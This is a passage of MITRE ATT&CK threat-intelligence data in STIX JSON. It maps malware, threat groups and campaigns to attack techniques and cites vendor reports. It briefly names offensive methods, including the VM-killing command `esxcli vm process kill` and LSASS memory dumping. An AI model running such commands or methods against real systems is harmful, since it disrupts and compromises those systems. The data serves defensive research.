<code>$PsHome\\Microsoft.{HostProgram}_profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Profile.ps1</code>\n* <code>$Home\\My Documents\\PowerShell\\Microsoft.{HostProgram}_profile.ps1</code>", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malware Archaeology PowerShell Cheat Sheet", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}]}, {"type": "relationship", "id": "relationship--266a5edd-1425-4ab1-88bf-a0d7897699eb", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Dell Sakula", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. 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Retrieved March 30, 2021."}], "modified": "2021-04-09T13:34:40.215Z", "description": "[Doki](https://attack.mitre.org/software/S0600) has used the DynDNS service and a DGA based on the Dogecoin blockchain to generate C2 domains.(Citation: Intezer Doki July 20)", "relationship_type": "uses", "source_ref": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26c62507-1a2b-4235-b80c-d5f7f52d1c95", "type": "relationship", "created": "2021-12-07T14:58:11.503Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. 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Retrieved December 19, 2023.", "url": "https://www.trendmicro.com/en_se/research/22/e/new-linux-based-ransomware-cheerscrypt-targets-exsi-devices.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-21T21:04:26.901Z", "description": "[Cheerscrypt](https://attack.mitre.org/software/S1096) has the ability to terminate VM processes on compromised hosts through execution of `esxcli vm process kill`.(Citation: Trend Micro Cheerscrypt May 2022)\n", "relationship_type": "uses", "source_ref": "malware--5d3fa1db-5041-4560-b87b-8f61cc225c52", "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26ce5847-3f53-4736-92c6-7a82e17cd884", "type": "relationship", "created": "2020-12-29T20:32:44.536Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Pay2Kitten December 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "description": "ClearSky. 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Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018) [OilRig](https://attack.mitre.org/groups/G0049) has used batch scripts.(Citation: FireEye APT34 Dec 2017)(Citation: OilRig ISMAgent July 2017)(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Unit42 OilRig Nov 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--26d1ecff-471e-420d-a1f0-d7b6cf9a07e6", "created": "2022-08-10T20:30:51.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cisco Talos Intelligence Group", "description": "Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. 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Retrieved March 8, 2023.", "url": "https://research.checkpoint.com/2022/black-basta-and-the-unnoticed-delivery/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-14T20:28:24.575Z", "description": "The [Black Basta](https://attack.mitre.org/software/S1070) dropper has been digitally signed with a certificate issued by Akeo Consulting for legitimate executables used for creating bootable USB drives.(Citation: Check Point Black Basta October 2022)", "relationship_type": "uses", "source_ref": "malware--8d242fb4-9033-4f13-8a88-4b9b4bcd9a53", "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "source_name": "SecureWorks BRONZE UNION June 2017"}, {"description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", "source_name": "Unit42 Emissary Panda May 2019"}], "modified": "2021-10-12T19:21:39.028Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used command-line interfaces for execution.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Unit42 Emissary Panda May 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26eca19b-1c55-49b5-8a07-a4131c577874", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellMafia/PowerSploit", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "source_name": "GitHub PowerSploit May 2012"}, {"url": "http://powersploit.readthedocs.io", "description": "PowerSploit. (n.d.). PowerSploit. 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(2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}], "modified": "2021-09-07T19:31:27.869Z", "description": "[Siloscape](https://attack.mitre.org/software/S0623) is executed after the attacker gains initial access to a Windows container using a known vulnerability.(Citation: Unit 42 Siloscape Jun 2021) ", "relationship_type": "uses", "source_ref": "malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c", "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26f6de28-984d-4f79-9806-c13fe9e1f42d", "type": "relationship", "created": "2020-11-19T17:05:49.334Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Bazar July 2020", "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."}, {"source_name": "Zscaler Bazar September 2020", "url": "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", "description": "Sadique, M. and Singh, A. (2020, September 29). Spear Phishing Campaign Delivers Buer and Bazar Malware. Retrieved November 19, 2020."}], "modified": "2020-11-19T18:31:09.521Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can launch cmd.exe to perform reconnaissance commands.(Citation: Cybereason Bazar July 2020)(Citation: Zscaler Bazar September 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--26fcd59e-5758-47ec-8a5e-68150d1ff805", "type": "relationship", "created": "2019-01-30T15:19:14.922Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. 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Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Blogspot pages for C2.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T15:09:05.420Z", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--270c93ba-a3d4-4ace-8fad-691c64c13e2f", "type": "relationship", "created": "2020-08-24T14:07:40.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", "description": "Tartare, M. et al. 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Retrieved August 24, 2020."}], "modified": "2020-10-16T21:01:17.200Z", "description": "[PipeMon](https://attack.mitre.org/software/S0501) can collect and send OS version and computer name as a part of its C2 beacon.(Citation: ESET PipeMon May 2020)", "relationship_type": "uses", "source_ref": "malware--8393dac0-0583-456a-9372-fd81691bca20", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--270d73c2-27fb-43ac-80b9-d4ea3fef2c06", "type": "relationship", "created": "2020-05-06T21:01:23.438Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.438Z", "description": "[Attor](https://attack.mitre.org/software/S0438) can detect whether it is executed in some virtualized or emulated environment by searching for specific artifacts, such as communication with I/O ports and using VM-specific instructions.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27102940-8ec1-42ad-98e5-57dc24b572eb", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PsExec Russinovich", "description": "Russinovich, M. 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(2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T15:13:47.158Z", "description": "During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used Virtual Private Server (VPS) infrastructure.(Citation: FireEye TRITON 2019)", "relationship_type": "uses", "source_ref": "campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca", "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2723c701-96d8-44e9-96ce-34c57e50a68e", "created": "2024-03-15T20:50:03.020Z", "revoked": false, "external_references": [{"source_name": "ESET Security Mispadu Facebook Ads 2019", "description": "ESET Security. (2019, November 19). Mispadu: Advertisement for a discounted Unhappy Meal. Retrieved March 13, 2024.", "url": "https://www.welivesecurity.com/2019/11/19/mispadu-advertisement-discounted-unhappy-meal/"}, {"source_name": "Metabase Q Mispadu Trojan 2023", "description": "Garcia, F., Regalado, D. (2023, March 7). Inside Mispadu massive infection campaign in LATAM. Retrieved March 15, 2024.", "url": "https://www.metabaseq.com/mispadu-banking-trojan/"}, {"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}, {"source_name": "SCILabs URSA/Mispadu Evolution 2023", "description": "SCILabs. (2023, May 23). Evolution of banking trojan URSA/Mispadu. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/evolution-of-banking-trojan-ursa-mispadu/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-15T20:50:03.020Z", "description": "[Mispadu](https://attack.mitre.org/software/S1122) has the ability to capture screenshots on compromised hosts.(Citation: SCILabs Malteiro 2021)(Citation: SCILabs URSA/Mispadu Evolution 2023)(Citation: ESET Security Mispadu Facebook Ads 2019)(Citation: Metabase Q Mispadu Trojan 2023) ", "relationship_type": "uses", "source_ref": "malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27257b64-c32c-49cd-a4ce-f804c251829d", "created": "2022-09-27T18:13:28.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. 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Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-07T20:43:20.079Z", "description": "For [Operation Wocao](https://attack.mitre.org/campaigns/C0014), the threat actors registered email accounts to use during the campaign.(Citation: FoxIT Wocao December 2019)", "relationship_type": "uses", "source_ref": "campaign--b03d5112-e23a-4ac8-add0-be7502d24eff", "target_ref": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2729dc4f-b327-4a13-a07c-39e8b1b39288", "created": "2022-04-15T16:10:40.731Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. 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Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T20:30:19.002Z", "description": "[Zox](https://attack.mitre.org/software/S0672) has been encoded with Base64.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--272c29eb-9f83-4a90-a9b2-e823182204a7", "type": "relationship", "created": "2019-07-19T16:49:44.677Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Soft Cell June 2019", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", "description": "Cybereason Nocturnus. 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Retrieved July 18, 2019."}], "modified": "2020-03-28T21:30:26.371Z", "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) established persistence for [PoisonIvy](https://attack.mitre.org/software/S0012) by created a scheduled task.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--272e3614-f257-4aff-9938-b03a2f16efbd", "type": "relationship", "created": "2020-11-10T19:09:21.176Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. 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Retrieved March 24, 2022."}], "modified": "2022-03-24T21:39:40.280Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can create a memory dump of LSASS via the `MiniDumpWriteDump Win32` API call.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--277c6e7e-8c39-4c41-ac6f-f740bfb862b8", "type": "relationship", "created": "2020-09-24T14:20:39.219Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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Retrieved September 23, 2020."}], "modified": "2020-10-09T16:08:00.184Z", "description": "[FatDuke](https://attack.mitre.org/software/S0512) can be controlled via a custom C2 protocol over HTTP.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--54a01db0-9fab-4d5f-8209-53cef8425f4a", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2781807b-4dd7-4bd7-b453-bd258bc375ee", "type": "relationship", "created": "2021-05-21T20:36:30.940Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec WastedLocker June 2020", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us", "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021."}, {"source_name": "NCC Group WastedLocker June 2020", "url": "https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/", "description": "Antenucci, S., Pantazopoulos, N., Sandee, M. (2020, June 23). WastedLocker: A New Ransomware Variant Developed By The Evil Corp Group. Retrieved September 14, 2021."}, {"source_name": "Sentinel Labs WastedLocker July 2020", "url": "https://www.sentinelone.com/labs/wastedlocker-ransomware-abusing-ads-and-ntfs-file-attributes/", "description": "Walter, J.. (2020, July 23). WastedLocker Ransomware: Abusing ADS and NTFS File Attributes. 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RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2019-04-25T12:37:45.684Z", "description": "(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", "target_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27a36f9c-2292-4bf0-8c08-9ccfc1effffe", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos GravityRAT", "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. 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(2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf"}], "modified": "2020-03-17T01:30:41.551Z", "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) communicates with its C2 server over HTTPS.(Citation: Fidelis INOCNATION)", "relationship_type": "uses", "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27aa0c45-a8e8-40cc-8591-39a84ca2db91", "type": "relationship", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.870Z", "description": "Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}], "modified": "2020-03-17T02:11:01.284Z", "description": "[pngdowner](https://attack.mitre.org/software/S0067) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)", "relationship_type": "uses", "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27b05a62-5310-40d9-9e49-b4dce3afad55", "type": "relationship", "created": "2017-05-31T21:33:27.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf", "description": "Kaspersky Lab's Global Research and Analysis Team. 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Retrieved December 20, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}, {"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}, {"source_name": "ClearSky Lazarus Aug 2020", "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T14:55:05.999Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) downloaded multistage malware and tools onto a compromised host.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--27b82cee-dbc4-44c9-9f00-2168b8921a27", "created": "2024-02-12T20:02:32.604Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:02:32.604Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) can deploy follow-on ransomware payloads.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--27b8fac5-1d3d-43a6-b184-4c81243e1bb8", 